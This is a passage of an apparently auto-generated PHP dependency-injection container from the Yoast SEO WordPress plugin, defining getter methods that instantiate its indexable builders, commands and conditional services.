            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder'];
        }

        $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Home_Page_Builder(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'}, $a);

        $instance->set_social_image_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] : $this->getImageHelper2Service()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] : $this->getImageHelper4Service()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Link_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Indexable_Link_Builder
     */
    protected function getIndexableLinkBuilderService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'];
        }
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'];
        }

        $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Link_Builder(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository'] : ($this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository'] = new \Yoast\WP\SEO\Repositories\SEO_Links_Repository())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'}, $a, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, $b, new \Yoast\WP\SEO\Images\Application\Image_Content_Extractor());

        $instance->set_dependencies(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Post_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Indexable_Post_Builder
     */
    protected function getIndexablePostBuilderService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder'];
        }

        $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Post_Builder($a, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper())) && false ?: '_'});

        $instance->set_indexable_repository(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});
        $instance->set_social_image_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] : $this->getImageHelper2Service()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] : $this->getImageHelper4Service()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Post_Type_Archive_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Indexable_Post_Type_Archive_Builder
     */
    protected function getIndexablePostTypeArchiveBuilderService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder'];
        }

        return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder'] = new \Yoast\WP\SEO\Builders\Indexable_Post_Type_Archive_Builder(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'}, $a, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Indexable_System_Page_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Indexable_System_Page_Builder
     */
    protected function getIndexableSystemPageBuilderService()
    {
        return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_System_Page_Builder'] = new \Yoast\WP\SEO\Builders\Indexable_System_Page_Builder(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Term_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Indexable_Term_Builder
     */
    protected function getIndexableTermBuilderService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder'];
        }

        $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Term_Builder(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'}, $a);

        $instance->set_social_image_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] : $this->getImageHelper2Service()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] : $this->getImageHelper4Service()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Primary_Term_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Primary_Term_Builder
     */
    protected function getPrimaryTermBuilderService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder'];
        }

        return $this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder'] = new \Yoast\WP\SEO\Builders\Primary_Term_Builder(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] : ($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] = new \Yoast\WP\SEO\Repositories\Primary_Term_Repository())) && false ?: '_'}, $a, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper'] = new \Yoast\WP\SEO\Helpers\Primary_Term_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Commands\Cleanup_Command' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Commands\Cleanup_Command
     */
    protected function getCleanupCommandService()
    {
        return $this->services['Yoast\\WP\\SEO\\Commands\\Cleanup_Command'] = new \Yoast\WP\SEO\Commands\Cleanup_Command(${($_ = isset($this->services['Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration']) ? $this->services['Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration'] : $this->getCleanupIntegrationService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Commands\Index_Command' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Commands\Index_Command
     */
    protected function getIndexCommandService()
    {
        return $this->services['Yoast\\WP\\SEO\\Commands\\Index_Command'] = new \Yoast\WP\SEO\Commands\Index_Command(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] : $this->getIndexablePostIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] : $this->getIndexableTermIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] : $this->getIndexablePostTypeArchiveIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] : $this->getIndexableGeneralIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action'] : $this->getIndexableIndexingCompleteActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action'] : $this->getIndexingPrepareActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] : $this->getPostLinkIndexingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] : $this->getTermLinkIndexingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional
     */
    protected function getAddonInstallationConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional'] = new \Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Doing_Post_Quick_Edit_Save_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Admin\Doing_Post_Quick_Edit_Save_Conditional
     */
    protected function getDoingPostQuickEditSaveConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Doing_Post_Quick_Edit_Save_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Doing_Post_Quick_Edit_Save_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Estimated_Reading_Time_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Admin\Estimated_Reading_Time_Conditional
     */
    protected function getEstimatedReadingTimeConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Estimated_Reading_Time_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Estimated_Reading_Time_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Post_Conditional())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional
     */
    protected function getLicensesPageConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Licenses_Page_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Non_Network_Admin_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Admin\Non_Network_Admin_Conditional
     */
    protected function getNonNetworkAdminConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Non_Network_Admin_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Non_Network_Admin_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Post_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Admin\Post_Conditional
     */
    protected function getPostConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Post_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Posts_Overview_Or_Ajax_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Admin\Posts_Overview_Or_Ajax_Conditional
     */
    protected function getPostsOverviewOrAjaxConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Posts_Overview_Or_Ajax_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Posts_Overview_Or_Ajax_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Yoast_Admin_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Admin\Yoast_Admin_Conditional
     */
    protected function getYoastAdminConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Yoast_Admin_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Yoast_Admin_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Admin_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Admin_Conditional
     */
    protected function getAdminConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Attachment_Redirections_Enabled_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Attachment_Redirections_Enabled_Conditional
     */
    protected function getAttachmentRedirectionsEnabledConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Attachment_Redirections_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\Attachment_Redirections_Enabled_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Check_Required_Version_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Check_Required_Version_Conditional
     */
    protected function getCheckRequiredVersionConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional'] = new \Yoast\WP\SEO\Conditionals\Check_Required_Version_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Deactivating_Yoast_Seo_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Deactivating_Yoast_Seo_Conditional
     */
    protected function getDeactivatingYoastSeoConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Deactivating_Yoast_Seo_Conditional'] = new \Yoast\WP\SEO\Conditionals\Deactivating_Yoast_Seo_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Development_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Development_Conditional
     */
    protected function getDevelopmentConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Development_Conditional'] = new \Yoast\WP\SEO\Conditionals\Development_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Front_End_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Front_End_Conditional
     */
    protected function getFrontEndConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional'] = new \Yoast\WP\SEO\Conditionals\Front_End_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Get_Request_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Get_Request_Conditional
     */
    protected function getGetRequestConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional'] = new \Yoast\WP\SEO\Conditionals\Get_Request_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Headless_Rest_Endpoints_Enabled_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Headless_Rest_Endpoints_Enabled_Conditional
     */
    protected function getHeadlessRestEndpointsEnabledConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Headless_Rest_Endpoints_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\Headless_Rest_Endpoints_Enabled_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Import_Tool_Selected_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Import_Tool_Selected_Conditional
     */
    protected function getImportToolSelectedConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Import_Tool_Selected_Conditional'] = new \Yoast\WP\SEO\Conditionals\Import_Tool_Selected_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Jetpack_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Jetpack_Conditional
     */
    protected function getJetpackConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Jetpack_Conditional'] = new \Yoast\WP\SEO\Conditionals\Jetpack_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Migrations_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Migrations_Conditional
     */
    protected function getMigrationsConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Migrations_Conditional'] = new \Yoast\WP\SEO\Conditionals\Migrations_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status']) ? $this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] : ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\New_Settings_Ui_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\New_Settings_Ui_Conditional
     */
    protected function getNewSettingsUiConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional'] = new \Yoast\WP\SEO\Conditionals\New_Settings_Ui_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\News_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\News_Conditional
     */
    protected function getNewsConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\News_Conditional'] = new \Yoast\WP\SEO\Conditionals\News_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\No_Tool_Selected_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\No_Tool_Selected_Conditional
     */
    protected function getNoToolSelectedConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\No_Tool_Selected_Conditional'] = new \Yoast\WP\SEO\Conditionals\No_Tool_Selected_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Non_Multisite_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Non_Multisite_Conditional
     */
    protected function getNonMultisiteConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Non_Multisite_Conditional'] = new \Yoast\WP\SEO\Conditionals\Non_Multisite_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional
     */
    protected function getNotAdminAjaxConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Not_Admin_Ajax_Conditional'] = new \Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Open_Graph_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Open_Graph_Conditional
     */
    protected function getOpenGraphConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Open_Graph_Conditional'] = new \Yoast\WP\SEO\Conditionals\Open_Graph_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Premium_Active_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Premium_Active_Conditional
     */
    protected function getPremiumActiveConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Premium_Active_Conditional'] = new \Yoast\WP\SEO\Conditionals\Premium_Active_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Premium_Inactive_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Premium_Inactive_Conditional
     */
    protected function getPremiumInactiveConditionalService()
    {
